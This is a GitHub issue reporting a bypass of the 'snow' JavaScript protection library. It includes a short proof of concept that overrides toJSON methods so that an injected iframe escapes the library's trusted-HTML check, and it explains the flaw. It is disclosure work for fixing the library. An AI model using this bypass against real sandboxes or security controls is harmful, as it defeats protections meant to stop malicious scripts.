-
Notifications
You must be signed in to change notification settings - Fork 7
Bypass using trusted HTML type confusion #95
Copy link
Copy link
Closed
Labels
vulnerabilityIntroduces snow bypassIntroduces snow bypass
Description
var d = document.createElement('div')
d.innerHTML = '<iframe id="f"></iframe>';
var f = d.firstChild;
d.toJSON = ()=>'asd';
f.toJSON = ()=>'asd';
document.documentElement.toJSON = ()=>'asd';
document.body.appendChild(d);
f.contentWindow.alert(1);
Essentially exploiting two things:
a. JSON.stringify bevavior can be overridden with toJSON method (see MDN)
b. This line excludes trusted HTMLs (perhaps because it assumes it was already handled by handleHTML?) by evaluating: typeof parse(stringify(node, replacer)) === 'string', which can be made to return true by utilizing a.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
vulnerabilityIntroduces snow bypassIntroduces snow bypass